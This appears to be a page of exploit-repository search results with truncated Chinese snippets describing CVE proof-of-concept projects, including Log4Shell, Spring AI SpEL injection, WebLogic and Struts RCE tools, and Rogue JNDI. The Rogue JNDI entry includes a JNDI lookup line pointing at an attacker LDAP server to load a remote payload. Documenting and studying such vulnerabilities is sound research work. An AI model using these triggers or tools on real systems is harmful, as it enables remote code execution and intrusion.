1141864 matches found
CVE-2026-34444
CVE-2026-34444 CVE-2026-34444（由于 getattr/setattr 中 attributefilter 强制执行不完整导致的沙箱逃逸与远程代码执行）...
CVE-2025-32463
CVE-2025-32463 - 设置与执行指南 这是我第一次将恶意漏洞利用移植到 Nuclei 模板中，用于非侵入式漏洞扫描，同时仍能演示底层问题。 我特意将这一过程记录得更加详细，作为一次学习练习。 我遇到的主要挑战是： 如何将原始漏洞利用代码修改为安全版本，使其能够有效测试权限提升，而不会像原始漏洞利用那样获取 root shell。 在使用代码引擎时，我遇到了一些 Nuclei 模板语法问题。我不习惯以这种方式创建模板，因此多次因为需要签署模板并包含 -itags local 参数而受阻，因为本地标签在 .nuclei-ignore 设置中默认被忽略。 我不确定在模板内编译 C...
cve-2024-21683-rce
cve-2024-21683-rce CVE-2024-21683 是一个严重的远程代码执行（RCE）漏洞，影响 Atlassian 的 Confluence Server 和 Data Center。 该漏洞的 CVSS 得分为 8.3，属于高严重性类别。攻击者可以通过精心构造的恶意 JavaScript 文件，利用此漏洞执行远程代码，无需用户交互。 然而，攻击者需要先登录到 Confluence 系统，并具备足够的权限以添加新的宏语言。 漏洞详情 漏洞类型 ：远程代码执行（RCE） 受影响版本 ：Confluence 5.2 版本及其后所有版本 攻击条件 ： 攻击者必须已经认证为...
CVE-2026-22738
CVE-2026-22738 复现环境 漏洞描述 CVE-2026-22738 是 Spring AI SimpleVectorStore 中的 SpEL Spring Expression Language 注入漏洞，可导致未经身份验证的远程代码执行 RCE。 受影响版本 Artifact| 受影响版本| 修复版本 ---|---|--- org.springframework.ai:spring-ai-core| 1.0.0 – 1.0.4| 1.0.5 org.springframework.ai:spring-ai-core| 1.1.0-M1 – 1.1.3| 1.1.4 注意...
CVE-2021-3279
CVE-2021-3279 https://www.cvedetails.com/cve/CVE-2021-3279/...
rogue-jndi
Rogue JNDI 一个用于 JNDI 注入攻击的恶意 LDAP 服务器。 描述 该项目包含用于利用不安全的默认 Java JNDI API 的 LDAP 和 HTTP 服务器。 为了执行攻击，你可以在本地启动这些服务器，然后在存在漏洞的客户端上触发 JNDI 解析，例如： root@kitploit: InitialContext.doLookup"ldap://yourserver.com:1389/o=reference"; 这将从存在漏洞的客户端发起一个到本地 LDAP 服务器的连接。然后，本地服务器会响应一个包含其中一个 payload 的恶意条目，该条目可用于实现远程代码执...
Apache-struts-cve-2024-53677
Apache Struts 远程代码执行漏洞 CVE ID：CVE-2024-53677 Youtube：视频 PoC 致谢：CVE-2024-53677-S2-067...
CVE-2026-22807_Range
🛡️ CVE-2026-22807 Simulation: AI Supply Chain RCE Target Range ⚠️ 免责声明 / Disclaimer 本项目仅用于安全研究与教学目的 ，旨在演示 AI 模型加载过程中的供应链攻击原理（Remote Code Execution）。 请勿在生产环境中使用生成的恶意模型，也严禁将本项目用于任何非法攻击行为。开发者不承担任何因使用不当造成的法律责任。 📖 项目简介 Introduction 这是一个轻量级的 Python 靶场，用于模拟和复现 CVE-2026-22807 （一个典型的 AI 供应链漏洞逻辑）。 该靶场演示了当 AI...
CVE-2026-33701-Unsafe-Deserialization-in-OpenTelemetry-Java-Agent-RMI-Instrumentation
CVE-2026-33701 — OpenTelemetry Java Agent RMI 插桩中的不安全反序列化 严重性： 严重（CVSS v4.0：9.3） 受影响版本： opentelemetry-javaagent 2.26.1 已修复版本： 2.26.1（2026年3月23日发布） 概述 OpenTelemetry 可能是当前 Java 生态系统中采用最广泛的可观测性框架。特别是 Java agent，被数千个生产服务用于自动对应用程序进行追踪、指标和日志的插桩，而无需开发人员修改任何代码。你只需将其作为 javaagent 参数附加，它就会在后台完成所有工作。...
Log4jHorizon
Log4jHorizon 利用 VMWare Horizon 中的 CVE-2021-44228 实现远程代码执行等操作。 Crossing the Log4j Horizon - A Vulnerability With No Return 这次的代码和 README.md 有点杂乱。更新即将到来！ 为什么？ 此漏洞的概念验证代码分散各处，且需要手动执行。本仓库将利用过程自动化。有关利用后的操作指导，请参阅上面的博客文章。 安装 本仓库可手动使用，也可通过 Docker 使用。 手动安装 要手动下载并运行该利用工具，请执行以下步骤。首先，确保攻击主机上已安装 Java 和...
CVE-2026-20841
CVE-2026-20841 此内容对应于 PatchPoint 订阅者月度报告所提供内容的一部分。 概述 微软于 2026 年 2 月披露了 Notepad 中一个 RCE 漏洞的补丁。该漏洞是 Notepad 中发生的一个命令注入漏洞，当在 Windows 记事本的 markdown 渲染中按住 Control 键点击链接时会被触发。 该漏洞可以简单解释。在 Markdown 中通过 Control+Click 访问链接时，URI 方案没有过滤，因此该协议的处理程序应用会被执行，并且不会出现警告对话框。该漏洞的影响范围如下。 影响 11.0.0 至 11.2510 之前的版本（参考...
cve-2024-23113-poc
CVE-2024-23113-poc CVE-2024-23113 是一个在 Linux Kernel 中被发现的漏洞，它属于 任意代码执行漏洞 ，影响了 bpf Berkeley Packet Filter 子系统。具体来说，这个漏洞影响了 bpf 程序的 bpfprog 类型的对象，并且可以允许攻击者通过构造恶意的 BPF 程序来在内核空间执行恶意代码。 漏洞原理： 1. BPF Berkeley Packet Filter 是一个在 Linux 内核中用于数据包捕获和网络流量分析的框架。它允许用户程序通过加载 BPF...
vuln4japi
vuln4japi 一个存在漏洞的基于 Java 的 REST API，用于演示 CVE-2021-44228（log4shell）。 动机 Log4Shell 在 2021 年 12 月初席卷了整个互联网。Apache Log4j 日志库中的一个零日漏洞能够实现远程代码执行（RCE），导致全球各地的组织争相修复、打补丁和缓解其面向公众的 Java 应用程序。随着信息安全社区团结起来，为安全团队提供持续的分析和解决方案，Log4j 社区也在忙着开发补丁，以确保这一漏洞的终结。 我开发了这个简单的存在漏洞的 REST API，通过利用 Apache Tomcat...
CVE-2021-46005
CVE-2021-46005 关于 CVE-2021-46005 的所有详细信息 软件：Online Car Rental System 1.0 软件链接：https://www.sourcecodester.com/cc/14145/online-car-rental-system-using-phpmysql.html 漏洞类型：存储型跨站脚本（Stored Cross Site Scripting） 受影响组件：post-avehical 页面中的 vehicalorcview 拒绝服务影响：是 代码执行影响：是 攻击类型：远程 产品供应商：Sourcecodester 描述：...
CVE-2026-21962_Java_GUI_Exploit_Tool
CVE-2026-21962 Java GUI Exploit Tool Oracle WebLogic Server Proxy Plug-In RCE 远程代码执行 漏洞利用工具的 Java GUI 版本。 项目结构 root@kitploit: java-version/ ├── pom.xml Maven 项目配置文件 ├── README.md 项目说明文档 ├── run.bat Windows 启动脚本 └── src/ └── main/ └── java/ └── com/ └── ashwesker/ └── cve202621962/ ├── Main.java...
Breaking-the-Update-Chain-Inside-CVE-2025-59287-and-the-WSUS-RCE-Threat
Breaking-the-Update-Chain-Inside-CVE-2025-59287-and-the-WSUS-RCE-Threat CVE-2025-59287 是 Windows Server Update Services WSUS 中的一个严重 RCE 漏洞，由对不可信数据进行不安全反序列化所致。它允许远程攻击者在无需身份验证的情况下执行任意代码。由于已被积极利用，建议立即进行修补。 CVE‑2025‑59287 – Windows Server Update Services WSUS 中的远程代码执行威胁 作者：Mark Mallia 概述 Microsoft 的...
CVE-2026-22738-POC
CVE-2026-22738 — Spring AI SimpleVectorStore 中的 SpEL 注入 RCE 通过 SimpleVectorStore.similaritySearch 中的 Spring 表达式语言（SpEL）注入实现未认证远程代码执行。 受影响版本 组件| 受影响版本| 已修复版本 ---|---|--- org.springframework.ai:spring-ai-core| 1.0.0 – 1.0.4| 1.0.5 org.springframework.ai:spring-ai-core| 1.1.0-M1 – 1.1.3| 1.1.4 修复提交：...
poc-yaws-cgi-shell-injection
Yaws Web 服务器中的操作系统命令注入（CVE-2020-24916） 概念验证 构建测试镜像： docker build -t vulnbe/yaws-pocs:shell-injection-appmod-cgi -f Dockerfile . 和/或 运行容器 docker run --rm -d -i -p 127.0.0.1:8000:8080 vulnbe/yaws-pocs:shell-injection-appmod-cgi root@kitploit: curl...